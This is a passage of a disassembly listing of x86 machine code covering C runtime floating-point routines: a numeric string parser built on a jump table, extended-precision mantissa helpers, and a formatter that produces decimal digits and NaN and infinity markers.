		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4250FD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42512A	proc near		; CODE XREF: sub_4251F1+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42519E
		push	edi
		mov	[ebp+arg_8], eax

loc_425151:				; CODE XREF: sub_42512A+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_4250CF
		push	ebx
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		push	ebx
		call	sub_4250CF
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425071
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425151
		xor	edx, edx
		pop	edi

loc_42519E:				; CODE XREF: sub_42512A+21j
					; sub_42512A+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_4251CB
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42519E
; ---------------------------------------------------------------------------

loc_4251CB:				; CODE XREF: sub_42512A+77j
		mov	esi, 8000h

loc_4251D0:				; CODE XREF: sub_42512A+B9j
		test	[ebx+8], esi
		jnz	short loc_4251E5
		push	ebx
		call	sub_4250CF
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_4251D0
; ---------------------------------------------------------------------------

loc_4251E5:				; CODE XREF: sub_42512A+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_42512A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251F1	proc near		; CODE XREF: sub_424518+17p
					; sub_424545+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi

loc_42522C:				; CODE XREF: sub_4251F1+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_425242
		cmp	cl, 9
		jz	short loc_425242
		cmp	cl, 0Ah
		jz	short loc_425242
		cmp	cl, 0Dh
		jnz	short loc_425245

loc_425242:				; CODE XREF: sub_4251F1+40j
					; sub_4251F1+45j ...
		inc	edi
		jmp	short loc_42522C
; ---------------------------------------------------------------------------

loc_425245:				; CODE XREF: sub_4251F1+4Fj
		push	4
		pop	esi

loc_425248:				; CODE XREF: sub_4251F1+AEj
					; sub_4251F1+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_4254CB	; default
					; jumptable 00425254 case 10
		jmp	off_425692[eax*4] ; switch jump

loc_42525B:				; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 0
		jl	short loc_42526C
		cmp	bl, 39h
		jg	short loc_42526C

loc_425265:				; CODE XREF: sub_4251F1+C4j
					; sub_4251F1+118j
		push	3
		jmp	loc_425489
; ---------------------------------------------------------------------------

loc_42526C:				; CODE XREF: sub_4251F1+6Dj
					; sub_4251F1+72j
		cmp	bl, byte_43C538
		jnz	short loc_42527B

loc_425274:				; CODE XREF: sub_4251F1+124j
		push	5
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_42527B:				; CODE XREF: sub_4251F1+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4252A1
		dec	eax
		dec	eax
		jz	short loc_425295
		sub	eax, 3
		jnz	loc_425564
		jmp	loc_425324
; ---------------------------------------------------------------------------

loc_425295:				; CODE XREF: sub_4251F1+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252A1:				; CODE XREF: sub_4251F1+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_425248
; ---------------------------------------------------------------------------

loc_4252AA:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 1
		mov	[ebp+var_10], edx
		jl	short loc_4252B7
		cmp	bl, 39h
		jle	short loc_425265

loc_4252B7:				; CODE XREF: sub_4251F1+BFj
		cmp	bl, byte_43C538
		jz	loc_42537F
		cmp	bl, 2Bh
		jz	short loc_4252F9
		cmp	bl, 2Dh
		jz	short loc_4252F9
		cmp	bl, 30h
		jz	short loc_425324

loc_4252D2:				; CODE XREF: sub_4251F1+207j
		cmp	bl, 43h
		jle	loc_425564
		cmp	bl, 45h
		jle	short loc_4252F2
		cmp	bl, 63h
		jle	loc_425564
		cmp	bl, 65h
		jg	loc_425564

loc_4252F2:				; CODE XREF: sub_4251F1+EDj
		push	6
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_4252F9:				; CODE XREF: sub_4251F1+D5j
					; sub_4251F1+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_4254C1
; ---------------------------------------------------------------------------

loc_425301:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 2
		jl	short loc_42530F
		cmp	bl, 39h
		jle	loc_425265

loc_42530F:				; CODE XREF: sub_4251F1+113j
		cmp	bl, byte_43C538
		jz	loc_425274
		cmp	bl, 30h
		jnz	loc_4254D9

loc_425324:				; CODE XREF: sub_4251F1+9Fj
					; sub_4251F1+DFj
		mov	eax, edx
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_42532B:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_10], edx ; jumptable 00425254 case 3

loc_42532E:				; CODE XREF: sub_4251F1+184j
		cmp	dword_43C534, edx
		jle	short loc_425347
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425355
; ---------------------------------------------------------------------------

loc_425347:				; CODE XREF: sub_4251F1+143j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425355:				; CODE XREF: sub_4251F1+154j
		test	eax, eax
		jz	short loc_425377
		cmp	[ebp+var_4], 19h
		jnb	short loc_42536F
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425372
; ---------------------------------------------------------------------------

loc_42536F:				; CODE XREF: sub_4251F1+16Cj
		inc	[ebp+var_8]

loc_425372:				; CODE XREF: sub_4251F1+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42532E
; ---------------------------------------------------------------------------

loc_425377:				; CODE XREF: sub_4251F1+166j
		cmp	bl, byte_43C538
		jnz	short loc_4253E6

loc_42537F:				; CODE XREF: sub_4251F1+CCj
		mov	eax, esi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425386:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+var_4], 0	; jumptable 00425254 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_42539F

loc_425392:				; CODE XREF: sub_4251F1+1ACj
		cmp	bl, 30h
		jnz	short loc_42539F
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425392
; ---------------------------------------------------------------------------

loc_42539F:				; CODE XREF: sub_4251F1+19Fj
					; sub_4251F1+1A4j ...
		cmp	dword_43C534, edx
		jle	short loc_4253B8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4253C6
; ---------------------------------------------------------------------------

loc_4253B8:				; CODE XREF: sub_4251F1+1B4j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_4253C6:				; CODE XREF: sub_4251F1+1C5j
		test	eax, eax
		jz	short loc_4253E6
		cmp	[ebp+var_4], 19h
		jnb	short loc_4253E1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl

loc_4253E1:				; CODE XREF: sub_4251F1+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42539F
; ---------------------------------------------------------------------------

loc_4253E6:				; CODE XREF: sub_4251F1+18Cj
					; sub_4251F1+1D7j
		cmp	bl, 2Bh
		jz	loc_4252F9
		cmp	bl, 2Dh
		jz	loc_4252F9
		jmp	loc_4252D2
; ---------------------------------------------------------------------------

loc_4253FD:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	dword_43C534, edx ; jumptable 00425254 case 5
		mov	[ebp+var_24], edx
		jle	short loc_425419
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425427
; ---------------------------------------------------------------------------

loc_425419:				; CODE XREF: sub_4251F1+215j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi

loc_425427:				; CODE XREF: sub_4251F1+226j
		test	eax, eax
		jz	loc_4254D9
		mov	eax, esi
		jmp	short loc_42548A
; ---------------------------------------------------------------------------

loc_425433:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		lea	ecx, [edi-2]	; jumptable 00425254 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_425443
		cmp	bl, 39h
		jle	short loc_425487

loc_425443:				; CODE XREF: sub_4251F1+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jz	short loc_4254B3
		sub	eax, 3
		jnz	loc_425567

loc_425458:				; CODE XREF: sub_4251F1+2A4j
		push	8
		jmp	short loc_4254C1
; ---------------------------------------------------------------------------

loc_42545C:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], edx ; jumptable 00425254 case 8

loc_42545F:				; CODE XREF: sub_4251F1+276j
		cmp	bl, 30h
		jnz	short loc_425469
		mov	bl, [edi]
		inc	edi
		jmp	short loc_42545F
; ---------------------------------------------------------------------------

loc_425469:				; CODE XREF: sub_4251F1+271j
		cmp	bl, 31h
		jl	loc_425564
		cmp	bl, 39h
		jg	loc_425564
		jmp	short loc_425487
; ---------------------------------------------------------------------------

loc_42547D:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	bl, 31h		; jumptable 00425254 case 7
		jl	short loc_425490
		cmp	bl, 39h
		jg	short loc_425490

loc_425487:				; CODE XREF: sub_4251F1+250j
					; sub_4251F1+28Aj
		push	9

loc_425489:				; CODE XREF: sub_4251F1+76j
		pop	eax

loc_42548A:				; CODE XREF: sub_4251F1+240j
		dec	edi
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_425490:				; CODE XREF: sub_4251F1+28Fj
					; sub_4251F1+294j
		cmp	bl, 30h
		jnz	short loc_4254D9
		jmp	short loc_425458
; ---------------------------------------------------------------------------

loc_425497:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		cmp	[ebp+arg_18], 0	; jumptable 00425254 case 11
		jz	short loc_4254C7
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_4254BF
		dec	eax
		dec	eax
		jnz	loc_425567

loc_4254B3:				; CODE XREF: sub_4251F1+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254BF:				; CODE XREF: sub_4251F1+258j
					; sub_4251F1+2B8j
		push	7

loc_4254C1:				; CODE XREF: sub_4251F1+85j
					; sub_4251F1+103j ...
		pop	eax
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254C7:				; CODE XREF: sub_4251F1+2AAj
		push	0Ah
		dec	edi
		pop	eax

loc_4254CB:				; CODE XREF: sub_4251F1+5Dj
					; sub_4251F1+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 00425254 case 10
		jz	loc_425569
		jmp	loc_425248
; ---------------------------------------------------------------------------

loc_4254D9:				; CODE XREF: sub_4251F1+12Dj
					; sub_4251F1+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_425569
; ---------------------------------------------------------------------------

loc_4254E1:				; CODE XREF: sub_4251F1+63j
					; DATA XREF: ___:off_425692o
		mov	[ebp+var_20], 1	; jumptable 00425254 case 9
		xor	esi, esi

loc_4254EA:				; CODE XREF: sub_4251F1+339j
		cmp	dword_43C534, 1
		jle	short loc_425502
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_425511
; ---------------------------------------------------------------------------

loc_425502:				; CODE XREF: sub_4251F1+300j
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_425511:				; CODE XREF: sub_4251F1+30Fj
		test	eax, eax
		jz	short loc_425531
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_42552C
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4254EA
; ---------------------------------------------------------------------------

loc_42552C:				; CODE XREF: sub_4251F1+334j
		mov	esi, 1451h

loc_425531:				; CODE XREF: sub_4251F1+322j
		mov	[ebp+var_1C], esi

loc_425534:				; CODE XREF: sub_4251F1+371j
		cmp	dword_43C534, 1
		jle	short loc_42554C
		movzx	eax, bl
		push	4
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_42555B
; ---------------------------------------------------------------------------

loc_42554C:				; CODE XREF: sub_4251F1+34Aj
		mov	ecx, off_43C328
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_42555B:				; CODE XREF: sub_4251F1+359j
		test	eax, eax
		jz	short loc_425564
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425534
; ---------------------------------------------------------------------------

loc_425564:				; CODE XREF: sub_4251F1+99j
					; sub_4251F1+E4j ...
		dec	edi
		jmp	short loc_425569
; ---------------------------------------------------------------------------

loc_425567:				; CODE XREF: sub_4251F1+261j
					; sub_4251F1+2BCj
		mov	edi, ecx

loc_425569:				; CODE XREF: sub_4251F1+2DDj
					; sub_4251F1+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_425651
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_425595
		cmp	[ebp+var_45], 5
		jl	short loc_425589
		inc	[ebp+var_45]

loc_425589:				; CODE XREF: sub_4251F1+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_425598
; ---------------------------------------------------------------------------

loc_425595:				; CODE XREF: sub_4251F1+38Dj
		mov	eax, [ebp+var_C]

loc_425598:				; CODE XREF: sub_4251F1+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_425647

loc_4255A2:				; CODE XREF: sub_4251F1+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4255B0
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_4255A2
; ---------------------------------------------------------------------------

loc_4255B0:				; CODE XREF: sub_4251F1+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_42512A
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_4255CF
		neg	eax

loc_4255CF:				; CODE XREF: sub_4251F1+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_4255DA
		add	eax, [ebp+arg_10]

loc_4255DA:				; CODE XREF: sub_4251F1+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_4255E2
		sub	eax, [ebp+arg_14]

loc_4255E2:				; CODE XREF: sub_4251F1+3ECj
		cmp	eax, 1450h
		jle	short loc_425619
		mov	[ebp+var_2C], 1

loc_4255F0:				; CODE XREF: sub_4251F1+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]

loc_4255FC:				; CODE XREF: sub_4251F1+454j
					; sub_4251F1+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_425662
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425619:				; CODE XREF: sub_4251F1+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_425629
		mov	[ebp+var_30], 1
		jmp	short loc_4255F0
; ---------------------------------------------------------------------------

loc_425629:				; CODE XREF: sub_4251F1+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_425DDA
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425647:				; CODE XREF: sub_4251F1+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_4255FC
; ---------------------------------------------------------------------------

loc_425651:				; CODE XREF: sub_4251F1+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_425677
; ---------------------------------------------------------------------------

loc_425662:				; CODE XREF: sub_4251F1+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_425677
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1

loc_425677:				; CODE XREF: sub_4251F1+426j
					; sub_4251F1+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_4251F1	endp

; ---------------------------------------------------------------------------
off_425692	dd offset loc_42525B	; DATA XREF: sub_4251F1+63r
		dd offset loc_4252AA	; jump table for switch	statement
		dd offset loc_425301
		dd offset loc_42532B
		dd offset loc_425386
		dd offset loc_4253FD
		dd offset loc_425433
		dd offset loc_42547D
		dd offset loc_42545C
		dd offset loc_4254E1
		dd offset loc_4254CB
		dd offset loc_425497

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4256C2	proc near		; CODE XREF: sub_4245E9+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_425724
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_425728
; ---------------------------------------------------------------------------

loc_425724:				; CODE XREF: sub_4256C2+5Aj
		mov	byte ptr [ebx+2], 20h

loc_425728:				; CODE XREF: sub_4256C2+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_42574E
		test	edi, edi
		jnz	short loc_42574E
		cmp	[ebp+arg_0], edi
		jnz	short loc_42574E

loc_425739:				; CODE XREF: sub_4256C2+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_42594C
; ---------------------------------------------------------------------------

loc_42574E:				; CODE XREF: sub_4256C2+6Cj
					; sub_4256C2+70j ...
		cmp	dx, si
		jnz	short loc_4257CD
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_425767
		cmp	[ebp+arg_0], 0
		jz	short loc_425776

loc_425767:				; CODE XREF: sub_4256C2+9Dj
		test	edi, 40000000h
		jnz	short loc_425776
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_4257BC
; ---------------------------------------------------------------------------

loc_425776:				; CODE XREF: sub_4256C2+A3j
					; sub_4256C2+ABj
		test	cx, cx
		jz	short loc_425790
		cmp	edi, 0C0000000h
		jnz	short loc_425790
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Ind	; "1#IND"
		jmp	short loc_42579F
; ---------------------------------------------------------------------------

loc_425790:				; CODE XREF: sub_4256C2+B7j
					; sub_4256C2+BFj
		cmp	edi, eax
		jnz	short loc_4257B7
		cmp	[ebp+arg_0], 0
		jnz	short loc_4257B7
		push	offset a1Inf	; "1#INF"

loc_42579F:				; CODE XREF: sub_4256C2+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx

loc_4257AE:				; CODE XREF: sub_4256C2+109j
		and	[ebp+var_4], 0
		jmp	loc_425925
; ---------------------------------------------------------------------------

loc_4257B7:				; CODE XREF: sub_4256C2+C5j
					; sub_4256C2+D0j ...
		push	offset a1Qnan	; "1#QNAN"

loc_4257BC:				; CODE XREF: sub_4256C2+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_4257AE
; ---------------------------------------------------------------------------

loc_4257CD:				; CODE XREF: sub_4256C2+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425DDA
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_42582E
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425BBA
		pop	ecx
		pop	ecx

loc_42582E:				; CODE XREF: sub_4256C2+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_425848
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_42584B
		jmp	loc_425739
; ---------------------------------------------------------------------------

loc_425848:				; CODE XREF: sub_4256C2+173j
		mov	edi, [ebp+arg_C]

loc_42584B:				; CODE XREF: sub_4256C2+17Fj
		cmp	edi, 15h
		jle	short loc_425853
		push	15h
		pop	edi

loc_425853:				; CODE XREF: sub_4256C2+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8

loc_425869:				; CODE XREF: sub_4256C2+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_425869
		test	esi, esi
		jge	short loc_425893
		neg	esi
		and	esi, 0FFh
		jle	short loc_425893

loc_425886:				; CODE XREF: sub_4256C2+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250FD
		dec	esi
		pop	ecx
		jnz	short loc_425886

loc_425893:				; CODE XREF: sub_4256C2+1B8j
					; sub_4256C2+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_4258F0
		mov	[ebp+arg_C], ecx

loc_4258A3:				; CODE XREF: sub_4256C2+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_4250CF
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_425071
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4250CF
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_4258A3
		mov	eax, [ebp+arg_14]

loc_4258F0:				; CODE XREF: sub_4256C2+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_42592D

loc_4258FD:				; CODE XREF: sub_4256C2+248j
		cmp	eax, ecx
		jb	short loc_425910
		cmp	byte ptr [eax],	39h
		jnz	short loc_42590C
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_4258FD
; ---------------------------------------------------------------------------

loc_42590C:				; CODE XREF: sub_4256C2+242j
		cmp	eax, ecx
		jnb	short loc_425914

loc_425910:				; CODE XREF: sub_4256C2+23Dj
		inc	eax
		inc	word ptr [ebx]

loc_425914:				; CODE XREF: sub_4256C2+24Cj
		inc	byte ptr [eax]

loc_425916:				; CODE XREF: sub_4256C2+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0

loc_425925:				; CODE XREF: sub_4256C2+F0j
		mov	eax, [ebp+var_4]

loc_425928:				; CODE XREF: sub_4256C2+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_42592D:				; CODE XREF: sub_4256C2+239j
					; sub_4256C2+275j
		cmp	eax, ecx
		jb	short loc_42593D
		cmp	byte ptr [eax],	30h
		jnz	short loc_425939
		dec	eax
		jmp	short loc_42592D
; ---------------------------------------------------------------------------

loc_425939:				; CODE XREF: sub_4256C2+272j
